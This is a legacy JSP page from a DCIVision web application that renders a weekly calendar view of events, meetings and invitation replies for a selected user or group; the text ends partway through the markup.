<%
/*
 * @(#)IncludeListCalendarByWeek.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  IncludeListCalendarByWeek.jsp

  This is a include page include in the ListCalendarByWeek.jsp,
  It shows the event and meeting records in a week.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    18/12/2003
    @version          $Revision: 1.40.4.7 $
*/
%>
<meta http-equiv="Expires" content="0">
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="com.dcivision.calendar.*" %>
<%@ page import="com.dcivision.calendar.bean.*" %>
<%@ page import="com.dcivision.calendar.dao.*" %>
<%@ page import="java.util.*, javax.sql.*, java.sql.*, com.dcivision.framework.*" %>
<%@ page import="com.dcivision.workflow.bean.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.user.dao.*" %>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="com.dcivision.alert.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listCalendarRecordForm" class="com.dcivision.calendar.web.ListCalendarRecordForm" scope="request"/>
<%
  String singleQuote = "'";
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  Integer selectedUserID = sessionContainer.getUserRecordID();
  Integer selectedGroupID = new Integer(0);
  CalendarRecordDAObject  calendarRecordDAO =new CalendarRecordDAObject(sessionContainer, conn);
  UserRecordDAObject userRecordDAO = new UserRecordDAObject(sessionContainer,conn);
  GregorianCalendar gCal = new GregorianCalendar() ;
  int currentDay = gCal.get(GregorianCalendar.DAY_OF_MONTH) ;
  int currentMonth = gCal.get(GregorianCalendar.MONTH) + 1 ;
  int currentYear = gCal.get(GregorianCalendar.YEAR) ;
  int weekDay = gCal.get(GregorianCalendar.DAY_OF_WEEK) ;
  int startOfMonth = gCal.getActualMinimum(GregorianCalendar.DAY_OF_MONTH) ;
  int endOfMonth = gCal.getActualMaximum(GregorianCalendar.DAY_OF_MONTH) ;
        boolean editTag=true;
  int selectedDay = currentDay;
  int selectedMonth = currentMonth;
  int selectedYear = currentYear;

  if (request.getParameter("listName")!=null&&!Utility.isEmpty(request.getAttribute("currentSelectedDay"))){
    Calendar selectedDateInSession = (Calendar)request.getAttribute("currentSelectedDay");
    //selectedDay = selectedDateInSession.get(Calendar.DAY_OF_MONTH);
    //selectedMonth = selectedDateInSession.get(Calendar.MONTH);
    //selectedYear = selectedDateInSession.get(Calendar.YEAR);
    //session.removeAttribute("currentSelectedDay");
                 selectedDay=(new Integer(session.getAttribute("selectedDay").toString())).intValue();
                 selectedMonth=(new Integer(session.getAttribute("selectedMonth").toString())).intValue();
                 selectedYear=(new Integer(session.getAttribute("selectedYear").toString())).intValue();

  }
  if (session.getAttribute("CALENDAR_SELECTED_DATE")!=null){
    Calendar selectedDateInSession = (Calendar)session.getAttribute("CALENDAR_SELECTED_DATE");
    selectedDay = selectedDateInSession.get(Calendar.DAY_OF_MONTH);
    selectedMonth = selectedDateInSession.get(Calendar.MONTH)+1;
    selectedYear = selectedDateInSession.get(Calendar.YEAR);
  }
  if (request.getParameter("selectedDay")!=null)
    selectedDay = TextUtility.parseInteger((String)request.getParameter("selectedDay"));
  if (request.getParameter("selectedMonth")!=null)
    selectedMonth = TextUtility.parseInteger((String)request.getParameter("selectedMonth"));
  if (request.getParameter("selectedYear")!=null)
    selectedYear = TextUtility.parseInteger((String)request.getParameter("selectedYear"));

  if (session.getAttribute("CALENDAR_SELECTED_USERID")!=null)
    selectedUserID = (Integer)session.getAttribute("CALENDAR_SELECTED_USERID");

  if (session.getAttribute("CALENDAR_SELECTED_GROUPID")!=null)
    selectedGroupID = (Integer)session.getAttribute("CALENDAR_SELECTED_GROUPID");


  String[][] SEARCH_MAP = { {"user.label.group_name", "GROUP_NAME"},
                              {"user.label.group_desc", "GROUP_DESC"}
                          };
  Calendar selectedDate = Calendar.getInstance();
  selectedDate.set(selectedYear,selectedMonth-1,selectedDay);
  Utility.setCalendarTime(selectedDate,0,0,0,0);

  // 	This fragment of code handle the case if the selectedDate is larger than
  //	what it supposed to be,like '32'.
  selectedDay = selectedDate.get(Calendar.DAY_OF_MONTH);
  selectedMonth = selectedDate.get(Calendar.MONTH)+1;
  selectedYear = selectedDate.get(Calendar.YEAR);

  session.setAttribute("selectedDay",new Integer(selectedDay));
  session.setAttribute("selectedMonth",new Integer(selectedMonth));
  session.setAttribute("selectedYear",new Integer(selectedYear));
  session.setAttribute("selectedCurrDate",selectedDate);

  String strSelectedDate = TextUtility.formatDate(selectedDate.getTime(),CalendarUtility.TIME_FORMFAT_A);

  //	Set the date to 6 days after today to find out the
  //	'endOfWeekDate'.
  selectedDate.add(Calendar.DATE,6);

  //	Reset the date to selected date.
  selectedDate.add(Calendar.DATE,-6);
  Calendar currentDayofWeek = Calendar.getInstance();
  currentDayofWeek.setTime(selectedDate.getTime());
  int dayofWeek=currentDayofWeek.get(Calendar.DAY_OF_WEEK);
  currentDayofWeek.add(Calendar.DAY_OF_WEEK,1-dayofWeek);
  String dateInLongFormat = TextUtility.formatDate(currentDayofWeek.getTime(),"dd MMMM yyyy");
  currentDayofWeek.add(Calendar.DATE,6);
  String endOfWeekDate = TextUtility.formatDate(currentDayofWeek.getTime(),"dd MMMM yyyy");
  currentDayofWeek.add(Calendar.DATE,-6);
  //add the "-- All Event --" & user self into the calendarRecord_userList
  ArrayList userList = (ArrayList)request.getAttribute("calendarRecord_userList");
  UserRecord defaultSelection = new UserRecord();
  defaultSelection.setID(new Integer("-1"));
  defaultSelection.setFirstName("     --- "+MessageResourcesFactory.getMessage(
    sessionContainer.getSessionLocale(),"calendar.label.all_event")+" ---     ");
  userList.add(0,defaultSelection);

  UserRecord selfSelection = new UserRecord();
  selfSelection.setID(sessionContainer.getUserRecordID());
  selfSelection.setFirstName(sessionContainer.getUserFullName());
  userList.add(1,selfSelection);
  request.setAttribute("userList",userList);

  //add the "-- All Group --" into the allGroupList
  ArrayList groupList = (ArrayList)request.getAttribute("allGroupList");
  UserGroup defaultGroupSelection = new UserGroup();
  defaultGroupSelection.setID(new Integer("-1"));
  defaultGroupSelection.setGroupName("--- "+MessageResourcesFactory.getMessage(
    sessionContainer.getSessionLocale(),"calendar.label.all_groups")+" ---");
  groupList.add(0,defaultGroupSelection);
  request.setAttribute("groupList",groupList);

  String[] value = Utility.getStringArray(Utility.getPropertyArray(userList,"ID",new Integer[0]));
  String[] userName = (String[])Utility.getPropertyArray(userList,"firstName",new String[0]);

  // Set 'selectedUserID' to logined userID if the selected userID doesn't have events in the selected period
  List tempList = Utility.getList(Utility.getPropertyArray(userList,"ID",new Integer[0]));
  if (!tempList.contains(selectedUserID))
    selectedUserID = sessionContainer.getUserRecordID();

  UpdateAlertDAObject updateAlertDAO  = new UpdateAlertDAObject(sessionContainer, conn);
  List updateAlertList = new ArrayList();


%>

<script language="JavaScript">
function changeUser() {
document.listCalendarRecordForm.selectedGroupID.value = document.listCalendarRecordForm.basicSearchField.value;
document.listCalendarRecordForm.selectedUserID.value = document.listCalendarRecordForm.basicSearchType.value;
document.listCalendarRecordForm.submit();
}
</script>
<!-- Form Section Begin -->
<html:form action="/calendar/ListCalendar" method="GET">
<input type="hidden" name="navMode" value="<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>">
<input type="hidden" name="selectedDay" value="<%=selectedDay%>">
<input type="hidden" name="selectedMonth" value="<%=selectedMonth%>">
<input type="hidden" name="selectedYear" value="<%=selectedYear%>">
<input type="hidden" name="selectedGroupID" value="">
<input type="hidden" name="selectedUserID" value="">

<%
String defaultSelectedUserID = sessionContainer.getUserRecordID().toString();
String defaultSelectedGroupID = "-1";

if (!Utility.isEmpty(session.getAttribute("CALENDAR_SELECTED_USERID") )) {
  defaultSelectedUserID = session.getAttribute("CALENDAR_SELECTED_USERID").toString();
}

if (!Utility.isEmpty(session.getAttribute("CALENDAR_SELECTED_GROUPID") )) {
  defaultSelectedGroupID = session.getAttribute("CALENDAR_SELECTED_GROUPID").toString();
}

%>

<!-- View Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40">
  <tr>
    <td>
    <font class='sectionHeader'><b><bean:message key='calendar.label.view'/>:</b></font>&nbsp;
     <html:select property="basicSearchField" onchange='changeUser()' value="<%=defaultSelectedGroupID%>" >
      <html:options collection="groupList" labelProperty='groupName' property='ID' />
     </html:select>
     <html:select property="basicSearchType" onchange='changeUser()' value="<%=defaultSelectedUserID%>" >
      <html:options collection="userList" labelProperty='firstName' property='ID' />
     </html:select>
    </td>
  </tr>
</table>
<!-- View Panel End-->

<!-- List Calendar By Week Panel Begin -->
<!-- Tab Folder begin -->
<script>
function showTab(tabList, tabName, dummy){
  if("dailyTab" == tabName){
    document.location="ListCalendar.do?navMode=LD&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>";
//}else if("weeklyTab" == tabName){
//  document.location="ListCalendar.do?navMode=LW&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>";
  }else if("monthlyTab" == tabName){
    document.location="ListCalendar.do?navMode=LM&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>";    
  }else if("toDoTab" == tabName){
    document.location="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_TODO%>";
  }else if("eventTab" == tabName){
    document.location="ListCalendar.do??navMode=<%=CalendarRecord.NAV_MODE_LIST_EVENT%>";
  }
}
</script>
<layout:tabContainer id="tab1">
<table width="100%" border="0" cellspacing="0" cellpadding="0" >
  <tr>
    <td>
    <layout:tabBar styleClass='tabBar'>
      <layout:tabPane id="dailyTab"   title="calendar.label.tab_daily"/>
      <layout:tabPane id="weeklyTab"  title="calendar.label.tab_weekly"  selected="true"/>      
      <layout:tabPane id="monthlyTab" title="calendar.label.tab_monthly"/>
    </layout:tabBar>
    </td>

    <td align='right'>
      <html:standardButton label="calendar.label.sharingdefault" link="MaintCalendarShare.do?navMode=E&oldNavMode=LW"/>
    </td>

  </tr>
</table>
<!-- Tab Folder end -->


<table width="100%" cellpadding="0" cellspacing="1" border="0">
<!-- Week Between First And Sixth Begin -->
<%//Update By Jim.Zhou			2006/06/14		Bug #5678%>
<%
  GregorianCalendar gregorianCalendar= new GregorianCalendar(selectedYear,selectedMonth-1,selectedDay);
  gregorianCalendar.add(GregorianCalendar.DAY_OF_MONTH,-7);
%>
    <tr valign="top" class="greyD">
      <td width="40" class="columnLabel" align='center'>
        <a href='ListCalendar.do?navMode=LW&selectedDay=<%=gregorianCalendar.get(GregorianCalendar.DAY_OF_MONTH)%>&selectedMonth=<%=gregorianCalendar.get(GregorianCalendar.MONTH)+1%>&selectedYear=<%=gregorianCalendar.get(GregorianCalendar.YEAR)%>'>&lt;&lt;</a>
      </td>
      <td class="columnLabel" align='center'>
        <bean:message key='calendar.columnheader.event'/>&nbsp;
        <bean:message key='calendar.columnheader.between'/>&nbsp;<b><%=dateInLongFormat%></b>&nbsp;
        <bean:message key='calendar.columnheader.and'/>&nbsp;<%=endOfWeekDate%>
      </td>
      <td width="40" class="columnLabel" align='center'>
        <%gregorianCalendar.add(GregorianCalendar.DAY_OF_MONTH,14);%>
        <a href='ListCalendar.do?navMode=LW&selectedDay=<%=gregorianCalendar.get(GregorianCalendar.DAY_OF_MONTH)%>&selectedMonth=<%=gregorianCalendar.get(GregorianCalendar.MONTH)+1%>&selectedYear=<%=gregorianCalendar.get(GregorianCalendar.YEAR)%>'>&gt;&gt;</a>
      </td>
    </tr>
<%//Update End%>
<!-- Week Between First And Sixth End -->

<%
  Calendar startDateFromRec = null;
  Calendar endDateFromRec = null;
  int currentDayToList = 1;
  int prvDayToList = 1;
  boolean isInvited = false;
  boolean haveWholeDayEvent = false;
  String calendarCreatorName = "";

  Calendar dateTimeFromRec = Calendar.getInstance();
  Calendar endTimeFromRec = Calendar.getInstance();
  Calendar startTimeFromRec = Calendar.getInstance();

  ArrayList list = new ArrayList();
  /*
   *	Update Code Start
   *	Author					Jim.Zhou
   *	Date						2006/06/02
   *	Bug							#4691
   */
   //Update By Jim.Zhou			2006/06/16		Bug	#5724
  list = (ArrayList)request.getAttribute("calendarRecord");//calendarRecordList
  //Update End
  //list = (ArrayList)request.getAttribute("newEventList");
  /*
   *	Update Code End
   */

  CalendarRecord calendar = null;
  //ActivityRecord activity = null;
  WorkflowProgress workflowProgress = null;
  CalendarUtility util = new CalendarUtility();
  prvDayToList  = currentDayofWeek.get(Calendar.DAY_OF_MONTH);

  for (int i = 0;i<7;i++) {

        //First For Begin %>
    <tr >
      <td width="360" align='left' class="greyD" colspan="3">
        <b><%=TextUtility.formatDate(currentDayofWeek.getTime(),"EEEEEE")%></b>,
        <a href='ListCalendar.do?navMode=LD&selectedDay=<%=currentDayofWeek.get(Calendar.DAY_OF_MONTH)%>&
          selectedMonth=<%=currentDayofWeek.get(Calendar.MONTH)+1%>&selectedYear=<%=currentDayofWeek.get(Calendar.YEAR)%>'>
          <%=TextUtility.formatDate(currentDayofWeek.getTime(),"dd MMMM yyyy")%></a>
      </td>
    </tr>
<%
    isInvited = false;
    haveWholeDayEvent = false;
    currentDayToList = currentDayofWeek.get(Calendar.DAY_OF_MONTH);

    if (currentDayToList < prvDayToList) {
      //new month
      selectedMonth=selectedMonth+1;
    }
    for (int j=0;j<list.size();j++){  //Second For Begin
      if (list.get(j) instanceof CalendarRecord) {
        calendar = (CalendarRecord)list.get(j);
        startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
        Utility.setCalendarTime(startDateFromRec,0,0,0,0);
        if (calendar.getEndtime() == null )
            endDateFromRec = startDateFromRec;
        else
            endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
        Utility.setCalendarTime(endDateFromRec,0,0,0,0);

        if ((startDateFromRec.before(currentDayofWeek) && endDateFromRec.after(currentDayofWeek)) ||
          (GlobalConstant.TRUE.equals(calendar.getIsWholeDay()) &&
            (startDateFromRec.equals(currentDayofWeek) ||
             endDateFromRec.equals(currentDayofWeek)) )
          ) {
            haveWholeDayEvent = true;
            break;
        }
      }
    } // Second For End


if (haveWholeDayEvent) {

%>
<tr >
    <td width="360" height='20' colspan='2'>
        <span class="bodyVerySmall">

<%      boolean showTag=true;

  for (int j=0;j<list.size();j++){ //Third For Begin
      if (list.get(j) instanceof CalendarRecord) {
        out.println("<nobr>");
        calendar = (CalendarRecord)list.get(j);
        //get the full name of created the calendar
        calendarCreatorName = UserInfoFactory.getUserFullName(calendar.getCreatorID());

        CalendarRecord meetingCalendarRecord=(CalendarRecord)calendarRecordDAO.getByID(calendar.getID());
        //"MAX_WORDS_OF_TITLE_IN_LIST_CALENDAR_BY_WEEK"
        startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
                                Utility.setCalendarTime(startDateFromRec,0,0,0,0);

        if (calendar.getEndtime() == null)
            endDateFromRec = startDateFromRec;
        else
            endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
                                Utility.setCalendarTime(endDateFromRec,0,0,0,0);
        startTimeFromRec.setTime(meetingCalendarRecord.getDatetime());
        endTimeFromRec.setTime(meetingCalendarRecord.getEndtime());
              Utility.setCalendarTime(startTimeFromRec,0,0,0,0);
              Utility.setCalendarTime(endTimeFromRec,0,0,0,0);

        if ((startDateFromRec.before(currentDayofWeek)&&endDateFromRec.after(currentDayofWeek))||
            (GlobalConstant.TRUE.equals(calendar.getIsWholeDay())&&(startDateFromRec.equals(currentDayofWeek)||endDateFromRec.equals(currentDayofWeek)))) {
          isInvited = util.checkInvitedToMeeting(calendar.getID(),sessionContainer,conn);						%>
          <bean:message key='calendar.label.whole_day_event' />&nbsp;
          <%
          String calendarClass = "calendar_own_event";
          if(CalendarRecord.isActivity(calendar)){
            calendarClass = "activity_event";
          } else if(!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())){
            if(isInvited){
              calendarClass = "calendar_others_meeting";
            } else if(CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())||CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())){
              calendarClass = "calendar_others_event";
            }
          }
          %>
          <%if(calendar.getIsInvitation()){ %>

             <a title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key="calendar.label.colleague_invited_by"/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&displayYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>&caleType=I'>
             <font class='<%=(CalendarRecord.isActivity(calendar))?"activity_event":((calendar.getCreatorID().equals(sessionContainer.getUserRecordID()))?"calendar_own_event":"calendar_others_meeting")%>'>
             <%if(!calendar.getIsAcceptance()){ %>
              <bean:message key='home.label.icon_invite_meeting' />&nbsp;
             <%}%>
             <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" />
             <%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
             [<bean:message key='calendar.label.colleague_invited_by'/> <%=calendarCreatorName%>]
             <%}%>
             </font></a>
          <%}else if (CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())) {%>
            <a href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>&caleType=S' title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]<%}%>'>
                 <font class='<%= calendarClass %>'>
                <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" />
                <%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
                [<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]</font><%}%></a>
          <% }else if  (CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())) {%>
            <%if (calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
            <a href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>' title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>'>
            <font class='<%= calendarClass %>'>
            <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" /></font></a>
            <%}else{%>
                  <font class='<%= (calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) ?
                    "calendar_own_event" : ( (isInvited)  ? "calendar_others_meeting" : "calendar_others_event") %>'>
                    <a title='<%=TextUtility.replaceString(calendar.getTitle(),"'","&#39")%>&nbsp[<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]'><html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" /> [<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]</a></font>
                  <%}%>
           <%}else if (calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) { %>
            <a href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>' title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>'>
             <font class='<%= calendarClass %>'>
           <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" /></font></a>
           <%}%>
<%	//check for invite status		%>
<%
    updateAlertList = (ArrayList)updateAlertDAO.getByObjectTypeObjectIDAndActionType(UpdateAlert.CALENDAR_TYPE,
      calendar.getID(), UpdateAlert.INVITE_ACTION);
    if (updateAlertList.size()>0)  {//First IF Begin
      UpdateAlert updateAlert = (UpdateAlert)updateAlertList.get(0);
      UpdateAlertSystemLogDAObject alertSystemLogDAO = new UpdateAlertSystemLogDAObject(sessionContainer, conn);
      List validUpdateAlertID = new ArrayList(1);
      validUpdateAlertID.add(updateAlert.getID());
      List systemLogList = alertSystemLogDAO.getSystemLogList(validUpdateAlertID);
      int ttlReplyOnAccept = 0;
      int ttlReplyOnTentative =  0;
      int ttlReplyOnReject = 0;
      if (systemLogList!=null) {// Second IF Begin
        for (int k=0; k<systemLogList.size(); k++) { //Fourth For Begin
          UpdateAlertSystemLog alertSystemLog = (UpdateAlertSystemLog)systemLogList.get(k);

          List replyOnAcceptAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog,
            UpdateAlert.ACCEPT_ON_REPLY);
          if (replyOnAcceptAry!=null)
            ttlReplyOnAccept = replyOnAcceptAry.size();
          List replyOnTentativeAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog,
            UpdateAlert.TENTATIVE_ON_REPLY);
          if (replyOnTentativeAry!=null)
            ttlReplyOnTentative = replyOnTentativeAry.size();
          List replyOnRejectAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog,
            UpdateAlert.REJECT_ON_REPLY);
          if (replyOnRejectAry!=null)
            ttlReplyOnReject = replyOnRejectAry.size();

       } //Fourth For Begin
%>
       <b><html:img src='IconAccept.gif' /><%=ttlReplyOnAccept%>
          <html:img src='IconTentative.gif' /><%=ttlReplyOnTentative%>
          <html:img src='IconReject.gif' /> <%=ttlReplyOnReject%> </b>
<%   }//Second IF End
  out.println("</nobr>");
  }//First IF End	%>

  <br>
<%						}
          }
        } //Third For End
%>
    </td>
    <td width="40" align='left' valign='top' class="greyD" rowspan='2'><span class='bodyVerySmall' >
    <%
    /*
     *	Update Code Start
     *	Author					Jim.Zhou
     *	Date						2006/06/02
     *	Bug							#4691
     */
    %>
    <!--
      <a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_EVENT%>&navMode=N&selectedDay=<%=currentDayToList%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&displayDay=<%=selectedDay%>&displayMonth=<%=selectedMonth%>&displayYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>'>+<bean:message key='calendar.label.event_calendar_event'/></a><br>
      <a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_MEETING%>&navMode=N&selectedDay=<%=currentDayToList%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&displayDay=<%=selectedDay%>&displayMonth=<%=selectedMonth%>&displayYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>'>+<bean:message key='calendar.label.event_calendar_meeting'/></a><br>
    -->
    <logic:permission right="I">
        <a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_EVENT%>&navMode=N&selectedDay=<%=currentDayToList%>&selectedMonth=<%=currentDayofWeek.get(Calendar.MONTH)+1%>&selectedYear=<%=selectedYear%>&displayDay=<%=selectedDay%>&displayMonth=<%=currentDayofWeek.get(Calendar.MONTH)+1%>&displayYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>'>+<bean:message key='calendar.label.event_calendar_event' /></a><br><a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_MEETING%>&navMode=N&selectedDay=<%=currentDayToList%>&selectedMonth=<%=currentDayofWeek.get(Calendar.MONTH)+1%>&selectedYear=<%=selectedYear%>&displayDay=<%=selectedDay%>&displayMonth=<%=currentDayofWeek.get(Calendar.MONTH)+1%>&displayYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>'>+<bean:message key='calendar.label.event_calendar_meeting' /></a><br>
        <font color="gray">+<bean:message key='calendar.label.event_calendar_event'/><br>+<bean:message key='calendar.label.event_calendar_meeting'/></font>
    </logic:permission>
    <%
    /*
     *	Update Code End
     */
    %>
      </span>
    </td>
  </tr>
<%	}					%>
<!---------------------------------------------------->
  <tr >
    <td width="360" height='20' colspan='2'>
      <span class="bodyVerySmall">
<%                         Calendar tmpCalendar=Calendar.getInstance();
                           Calendar atmpCalendar=Calendar.getInstance();

      for (int j=0;j<list.size();j++){

        //if (calendar.getEndtime().after()
        calendar = (CalendarRecord)list.get(j);
        //get the full name of created the calendar
        calendarCreatorName = UserInfoFactory.getUserFullName(calendar.getCreatorID());

          if (list.get(j) instanceof CalendarRecord) {
          out.println("<nobr>");


                                           //"MAX_WORDS_OF_TITLE_IN_LIST_CALENDAR_BY_WEEK"
                                startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
            Utility.setCalendarTime(startDateFromRec,0,0,0,0);
            endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
                                              endTimeFromRec.setTime(calendar.getEndtime());
             Utility.setCalendarTime(endDateFromRec,0,0,0,0);
            dateTimeFromRec.setTime(calendar.getDatetime());

            if (calendar.getEndtime() == null)
              endDateFromRec = startDateFromRec;
            if ((startDateFromRec.equals(currentDayofWeek)||endDateFromRec.equals(currentDayofWeek))&&
              (GlobalConstant.FALSE.equals(calendar.getIsWholeDay())||calendar.getIsWholeDay()==null)) {

              isInvited = util.checkInvitedToMeeting(calendar.getID(),sessionContainer,conn);
              String calendarClass = "calendar_own_event";
              if(CalendarRecord.isActivity(calendar)){
                calendarClass = "activity_event";
              } else if(!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())){
                if(isInvited){
                  calendarClass = "calendar_others_meeting";
                } else if(CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())||CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())){
                  calendarClass = "calendar_others_event";
                }
              }
              if (startDateFromRec.before(currentDayofWeek) && endDateFromRec.equals(currentDayofWeek)) {			%>
                <b><%=TextUtility.formatDate(currentDayofWeek.getTime(),CalendarUtility.TIME_FORMFAT_A)%>
<%							} else {					%>
                <b><%=TextUtility.formatDate(dateTimeFromRec.getTime(),CalendarUtility.TIME_FORMFAT_A)%>
<%							}


              if (endDateFromRec.after(currentDayofWeek) && startDateFromRec.equals(currentDayofWeek)) {
%>
                &nbsp;<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"common.label.period_to")+"&nbsp;12:00 PM"%></b>
                <%//Code Update By Jim.Zhou			2006/06/08		Bug #5666%>
<%
                                                              } else {					%>
                <%= (calendar.getEndtime()==null) ? "" : "&nbsp;"+MessageResourcesFactory.getMessage(
                  sessionContainer.getSessionLocale(),"common.label.period_to")+"&nbsp;"+
                  TextUtility.formatDate(endTimeFromRec.getTime(),CalendarUtility.TIME_FORMFAT_A)%></b>
<%						             }							%>
              <%if(calendar.getIsInvitation()){ %>
                 <a title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key="calendar.label.colleague_invited_by"/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>&caleType=I'>
                 <font class='<%=(CalendarRecord.isActivity(calendar))?"activity_event":((calendar.getCreatorID().equals(sessionContainer.getUserRecordID()))?"calendar_own_event":"calendar_others_meeting")%>'>
                  <%if(!calendar.getIsAcceptance()){ %>
                  <bean:message key='home.label.icon_invite_meeting' />&nbsp;
                  <%}%>
                 <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" />
                 <%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
                 [<bean:message key='calendar.label.colleague_invited_by'/> <%=calendarCreatorName%>]
                 <%}%>
                 </font></a>
              <%}else if (CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())) {%>
                   <a title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key="calendar.label.colleague_shared_by"/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>&caleType=S'>
                   <font class='<%= calendarClass %>'>
